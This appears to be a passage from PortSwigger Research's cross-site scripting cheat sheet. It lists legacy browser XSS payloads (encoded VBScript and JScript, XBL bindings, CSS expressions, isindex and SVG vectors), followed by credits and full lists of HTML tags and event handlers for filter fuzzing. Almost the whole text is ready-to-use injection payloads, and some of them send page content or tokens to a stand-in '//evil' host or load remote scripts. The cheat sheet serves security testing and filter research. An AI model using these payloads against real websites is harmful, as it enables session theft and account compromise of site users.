<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>

Link

JScript compact was a minimal version of JS that wasn't widely used in IE

<a href="#" onclick="jscript.compact:alert(1);">test</a>
<a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>

Link

JScript.Encode allows encoded JavaScript

<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
<a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>

Link

VBScript.Encoded allows encoded VBScript

<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>

Link

JavaScript entities used to work in Netscape Navigator

<a title="&{alert(1)}">XSS</a>

Link

JavaScript stylesheets used to be supported by Netscape Navigator

<link href="xss.js" rel=stylesheet type="text/javascript">

Link

Button used to consume markup

<form><button name=x formaction=x><b>stealme

Link

IE9 select elements and plaintext used to consume markup

<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script>

Link

XBL Firefox only <= 2

<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="\-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
<div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">

Link

XBL also worked in FF3.5 using data urls

<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22 http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimplementation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js %22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20scr.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20 document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%3C/ binding%3E%3C/bindings%3E)" />

Link

CSS expressions <=IE7

<div style=xss:expression(alert(1))>
<div style=xss:expression(1)-alert(1)>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio\006e(alert(1))>
<div style=xss:expressio\00006e(alert(1))>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio&#x5c;6e(alert(1))>

Link

In quirks mode IE allowed you to use = instead of :

<div style=xss=expression(alert(1))>
<div style="color&#x3dred">test</div>

Link

Behaviors for older modes of IE

<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XSS</a>

Link

Older versions of IE supported event handlers in functions

<script>
function window.onload(){
alert(1);
}
</script>
<script>
function window::onload(){
alert(1);
}
</script>
<script>
function window.location(){
}
</script>
<body>
<script>
function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){}
</script>
</body>
<body>
<script>
function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }
</script>
</body>

Link

GreyMagic HTML+time exploit (no longer works even in 5 docmode)

<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>

Link

Firefox allows NULLS after &

<a href="javascriptjavascript:alert(1)">Firefox</a>

Link

Firefox allows NULLs inside named entities

<a href="javascript&colon;alert(1)">Firefox</a>

Link

Firefox allows NULL characters inside opening comments

<!-- ><img title="--><iframe/onload=alert(1)>"> -->
<!-- ><img title="--><iframe/onload=alert(1)>"> -->

Link

Safari used to allow any tag to have a onload event inside SVG

<svg><xss onload=alert(1)>

Link

Isindex using src attribute

<isindex type=image src="//evil?

Link

Isindex using submit

<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?

Link

Isindex and formaction

<isindex type=submit formaction=javascript:alert(1)>

Link

Isindex and action

<isindex type=submit action=javascript:alert(1)>

Link

discard tag and onbegin

<svg><discard onbegin=alert(1)>

Link

Use element with an external URL

<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>

Link

Credits

Brought to you by PortSwigger Research.

This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C., gadhiyasavan, p4fg, diofeher, Sergey Bobrov, PwnFunction, Guilherme Keerok, Alex Brasetvik, s1r1us, ngyikp, the-xentropy, Rando111111, Fzs, Sivakumar

You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request

All tags
custom tags
a
abbr
acronym
address
applet
area
article
aside
audio
b
base
bdi
bdo
big
blink
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
command
content
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
element
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1
head
header
hgroup
hr
html
i
iframe
image
img
input
ins
kbd
keygen
label
legend
li
link
listing
main
map
mark
marquee
menu
menuitem
meta
meter
multicol
nav
nextid
nobr
noembed
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
plaintext
pre
progress
q
rb
rp
rt
rtc
ruby
s
samp
script
section
select
shadow
slot
small
source
spacer
span
strike
strong
style
sub
summary
sup
svg
svg -> animate
svg -> animatemotion
svg -> animatetransform
svg -> set
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
wbr
xmp

All events
onafterprint
onafterscriptexecute
onanimationcancel
onanimationend
onanimationiteration
onanimationstart
onauxclick
onbeforecopy
onbeforecut
onbeforeprint
onbeforescriptexecute
onbeforeunload
onbegin
onblur
onbounce
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncopy
oncuechange
oncut
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onend
onended
onerror
onfinish
onfocus
onfocusin
onfocusout
onfullscreenchange
onhashchange
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadend
onloadstart
onmessage
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onmozfullscreenchange
onpagehide
onpageshow
onpaste
onpause
onplay
onplaying
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerrawupdate
onpointerup
onpopstate
onprogress
onrepeat
onreset
onresize
onscroll
onsearch
onseeked
onseeking
onselect
onselectionchange
onselectstart
onshow
onstart
onsubmit
ontimeupdate
ontoggle
ontouchend
ontouchmove
ontouchstart
ontransitioncancel
ontransitionend
ontransitionrun
ontransitionstart
onunhandledrejection
onunload
onvolumechange
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onwheel